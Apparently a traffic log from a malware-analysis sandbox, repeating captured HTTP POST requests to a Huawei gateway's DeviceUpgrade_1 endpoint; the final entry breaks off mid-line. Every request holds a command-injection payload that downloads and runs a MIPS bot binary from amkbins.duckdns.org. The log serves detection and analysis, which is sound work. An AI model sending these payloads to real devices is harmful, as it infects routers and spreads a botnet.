| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo 